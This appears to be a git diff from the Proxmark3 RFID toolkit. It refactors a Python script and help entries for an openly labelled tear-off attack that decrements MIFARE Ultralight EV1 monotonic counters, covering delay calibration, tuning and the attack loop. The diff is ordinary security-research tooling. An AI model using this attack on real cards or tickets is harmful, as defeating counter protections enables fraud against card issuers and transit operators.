|
||||
return tearing in ("00", "BD")
|
||||
return tearing in VALID_TEARING_BYTES
|
||||
|
||||
|
||||
def normalize_tear_flag(counter_index: str) -> None:
|
||||
for _ in range(TEAR_REPAIR_ATTEMPTS * 2):
|
||||
if check_tearing_event(counter_index)[1] in ("00", "BD"):
|
||||
if check_tearing_event(counter_index)[1] in VALID_TEARING_BYTES:
|
||||
return
|
||||
incr_cnt(counter_index, "000000")
|
||||
|
||||
@@ -240,10 +257,21 @@ def run_reset_step(counter_index: str, delay_bd: int, delay_00: int) -> None:
|
||||
|
||||
|
||||
def tune_delay(delay_bd: int, previous_counter: int, current_counter: int, locked: bool) -> int:
|
||||
"""Tune BD delay based on counter changes.
|
||||
|
||||
Args:
|
||||
delay_bd: Current BD delay in microseconds
|
||||
previous_counter: Previous counter value for comparison
|
||||
current_counter: Current counter value
|
||||
locked: If True, delay is locked and not adjusted
|
||||
|
||||
Returns:
|
||||
Adjusted delay_bd value
|
||||
"""
|
||||
if locked:
|
||||
return delay_bd
|
||||
if current_counter == previous_counter:
|
||||
return delay_bd + DELAY_TUNE_STEP
|
||||
return min(DELAY_BD_MAX, delay_bd + DELAY_TUNE_STEP)
|
||||
if current_counter - previous_counter > DELAY_TUNE_JUMP:
|
||||
return max(DELAY_BD_MIN, delay_bd - DELAY_TUNE_STEP)
|
||||
return delay_bd
|
||||
@@ -254,8 +282,20 @@ def is_ev1_card() -> bool:
|
||||
output = run_pm3("hf 14a raw -s -c 60")
|
||||
payload = extract_pm3_payload(output)
|
||||
parts = payload.split()
|
||||
if len(parts) >= 5 and parts[4].upper() == "01":
|
||||
return True
|
||||
|
||||
# GET_VERSION layout: [0]=?, [1]=vendor, [2]=product type, [3]=subtype,
|
||||
# [4]=major version, [5]=minor version, [6]=size, [7]=protocol type.
|
||||
# MIFARE Ultralight EV1 -> product type 0x03, major version 0x01.
|
||||
# NTAG also reports major 0x01, so the product type must be checked too.
|
||||
if len(parts) >= 5:
|
||||
try:
|
||||
product_type = int(parts[2], 16)
|
||||
major_version = int(parts[4], 16)
|
||||
except (ValueError, IndexError):
|
||||
pass
|
||||
else:
|
||||
if product_type == 0x03 and major_version == 0x01:
|
||||
return True
|
||||
|
||||
info_output = run_pm3("hf mfu info").lower()
|
||||
return any(
|
||||
@@ -264,8 +304,6 @@ def is_ev1_card() -> bool:
|
||||
"ul ev1",
|
||||
"ultralight ev1",
|
||||
"ul-ev1",
|
||||
"major version: 01",
|
||||
"mfu ev1",
|
||||
)
|
||||
)
|
||||
|
||||
@@ -282,7 +320,7 @@ def preflight_checks(counter_index: str) -> bool:
|
||||
return False
|
||||
|
||||
_, tearing = check_tearing_event(counter_index)
|
||||
if tearing not in ("00", "BD"):
|
||||
if tearing not in VALID_TEARING_BYTES:
|
||||
print(f"[{color('!', 'red')}] Card does not support CHECK_TEARING_EVENT")
|
||||
return False
|
||||
|
||||
@@ -335,8 +373,13 @@ class StopListener:
|
||||
self._stop = True
|
||||
|
||||
|
||||
def calibrate_bd_delay(counter_index: str, stop: StopListener):
|
||||
"""Return (delay_bd, delay_00) where delay_00 = delay_bd - 15 (fixed offset)."""
|
||||
def calibrate_bd_delay(counter_index: str, stop: StopListener) -> Tuple[Optional[int], Optional[int]]:
|
||||
"""Auto-calibrate BD delay for tear-off.
|
||||
|
||||
Returns:
|
||||
Tuple of (delay_bd, delay_00) where delay_00 is calculated as delay_bd - DELAY_00_OFFSET,
|
||||
or (None, None) if calibration failed.
|
||||
"""
|
||||
best_bd = None
|
||||
|
||||
for delay_bd in range(DELAY_BD_MIN, DELAY_BD_MAX, CAL_STEP_US):
|
||||
@@ -453,16 +496,13 @@ def attack_loop(counter_index: str, delay_bd: int, delay_00: int, stop: StopList
|
||||
f"\n[{color('+', 'green')}] Decrement! {initial_hex.upper()} -> "
|
||||
f"{final_hex.upper()} (delta {initial_int - final_int})"
|
||||
)
|
||||
# Consolidate the drop
|
||||
incr_cnt(counter_index, "000000")
|
||||
time.sleep(0.2)
|
||||
incr_cnt(counter_index, "000000")
|
||||
# Consolidate the drop by normalizing tear flag
|
||||
normalize_tear_flag(counter_index)
|
||||
delay_locked = True
|
||||
tune_reference = final_int
|
||||
continue
|
||||
|
||||
# Tuning logic
|
||||
# Tuning logic for delay adjustment
|
||||
if final_int > initial_int:
|
||||
if delay_locked:
|
||||
delay_locked = False
|
||||
@@ -471,7 +511,7 @@ def attack_loop(counter_index: str, delay_bd: int, delay_00: int, stop: StopList
|
||||
new_delay = tune_delay(delay_bd, tune_reference, final_int, False)
|
||||
if new_delay != delay_bd:
|
||||
delay_bd = new_delay
|
||||
# delay_00 is intentionally left unchanged
|
||||
# delay_00 is intentionally not changed; only BD is adjusted during tuning
|
||||
tune_reference = final_int
|
||||
else:
|
||||
if not delay_locked:
|
||||
@@ -543,7 +583,10 @@ def attack_loop(counter_index: str, delay_bd: int, delay_00: int, stop: StopList
|
||||
delay_bd = new_delay
|
||||
reset_reference = final_int
|
||||
elif final_int < initial_int:
|
||||
print(f"\n[{color('+', 'green')}] Reset decrement! {initial_hex} -> {final_hex}")
|
||||
print(
|
||||
f"\n[{color('+', 'green')}] Reset decrement! {initial_hex.upper()} -> "
|
||||
f"{final_hex.upper()} (delta {initial_int - final_int})"
|
||||
)
|
||||
delay_locked = True
|
||||
reset_reference = final_int
|
||||
# else final_int slightly higher but still within range – ignore
|
||||
@@ -551,7 +594,7 @@ def attack_loop(counter_index: str, delay_bd: int, delay_00: int, stop: StopList
|
||||
return False
|
||||
|
||||
|
||||
def main():
|
||||
def main(args) -> int:
|
||||
print(color("Attack against the monotonic counters of MFU EV1 using the tear-off technique.", "cyan"))
|
||||
print(
|
||||
color(
|
||||
@@ -571,13 +614,15 @@ def main():
|
||||
stop = StopListener()
|
||||
stop.start()
|
||||
|
||||
success = False
|
||||
try:
|
||||
if args.DelayBD is None:
|
||||
result = calibrate_bd_delay(args.cnt, stop)
|
||||
if result[0] is None:
|
||||
return 1
|
||||
delay_bd, delay_00 = result
|
||||
if args.Delay00 is not None:
|
||||
delay_00 = args.Delay00
|
||||
print(f"[{color('+', 'green')}] Using manual 00 delay: {color(delay_00, 'green')} us")
|
||||
else:
|
||||
delay_bd = args.DelayBD
|
||||
delay_00 = args.Delay00 if args.Delay00 is not None else delay_bd - DELAY_00_OFFSET
|
||||
@@ -589,8 +634,7 @@ def main():
|
||||
print("\n[x] Interrupted by user.")
|
||||
return 0
|
||||
|
||||
success = attack_loop(args.cnt, delay_bd, delay_00, stop)
|
||||
if success:
|
||||
if attack_loop(args.cnt, delay_bd, delay_00, stop):
|
||||
return 0
|
||||
if stop.stopped:
|
||||
print("\n[x] Interrupted by user.")
|
||||
@@ -611,7 +655,7 @@ if __name__ == "__main__":
|
||||
args = parser.parse_args()
|
||||
|
||||
try:
|
||||
sys.exit(main())
|
||||
sys.exit(main(args))
|
||||
except KeyboardInterrupt:
|
||||
disable_tearoff()
|
||||
print("\n[x] Interrupted.")
|
||||
|
||||
+619
-514
File diff suppressed because it is too large.
Load diff
+10
-12
@@ -9310,23 +9310,21 @@
|
||||
},
|
||||
"hf mfu countertear": {
|
||||
"command": "hf mfu countertear",
|
||||
"description": "Tear-off test against a Ev1 counter",
|
||||
"description": "Reset a MIFARE Ultralight EV1 monotonic counter with the tear-off technique Port of the pyscript mfuev1_counter_reset.py, based on Quarkslab research",
|
||||
"notes": [
|
||||
"hf mfu countertear -c 0 -> target counter 0",
|
||||
"hf mfu countertear -c 0 -s 200 -> target counter 0, start delay 200",
|
||||
"hf mfu countertear -c 0 -x 020000 -> target counter 0, increasing the counter by 2 bytes"
|
||||
"hf mfu countertear -c 0",
|
||||
"hf mfu countertear -c 0 -f",
|
||||
"hf mfu countertear -c 0 --DelayBD 2720 --Delay00 2705"
|
||||
],
|
||||
"offline": false,
|
||||
"options": [
|
||||
"-h, --help This help",
|
||||
"-c, --cnt <0,1,2> Target this EV1 counter (0,1,2)",
|
||||
"-i, --inc <dec> time interval to increase in each iteration - default 10 us",
|
||||
"-l, --limit <dec> test upper limit time - default 3000 us",
|
||||
"-s, --start <dec> test start time - default 500 us",
|
||||
"--fix <dec> test fixed loop delay",
|
||||
"-x, --hex <string> 3 byte hex to increase counter with - default 010000"
|
||||
"-c, --cnt <0-2> Target this EV1 counter (0,1,2)",
|
||||
"-f, --force Skip pre-flight checks",
|
||||
"--DelayBD <dec> Manual BD delay (us, disables auto-calibration)",
|
||||
"--Delay00 <dec> Manual 00 delay (us)"
|
||||
],
|
||||
"usage": "hf mfu countertear [-h] [-c <0,1,2>] [-i <dec>] [-l <dec>] [-s <dec>] [--fix <dec>] [-x <string>]"
|
||||
"usage": "hf mfu countertear [-hf] [-c <0-2>] [--DelayBD <dec>] [--Delay00 <dec>]"
|
||||
},
|
||||
"hf mfu desbrute": {
|
||||
"command": "hf mfu desbrute",
|
||||
@@ -16814,6 +16812,6 @@
|
||||
"metadata": {
|
||||
"commands_extracted": 936,
|
||||
"extracted_by": "PM3Help2JSON v1.00",
|
||||
"extracted_on": "2026-10-14T15:56:50+00:00"
|
||||
"extracted_on": "2026-10-23T22:15:17+00:00"
|
||||
}
|
||||
}
|
||||
+1
-1
@@ -747,7 +747,7 @@ Check column "offline" for their availability.
|
||||
|`hf mfu keygen `|Y |`Generate DES/3DES/AES MIFARE diversified keys`
|
||||
|`hf mfu pwdgen `|Y |`Generate pwd from known algos`
|
||||
|`hf mfu otptear `|N |`Tear-off test on OTP bits`
|
||||
|`hf mfu countertear `|N |`Tear-off test on Ev1/NTAG Counter bits`
|
||||
|`hf mfu countertear `|N |`Reset a Mifare UL EV1 counter with tear-off`
|
||||
|`hf mfu chk `|N |`Ultralight C/AES - Authentication dictionary check`
|
||||
|`hf mfu cauth `|N |`Ultralight-C - Authentication`
|
||||
|`hf mfu desbrute `|Y |`Ultralight-C - 3DES key segment brute force`
|
||||
|
||||
Reference in new issue
Block a user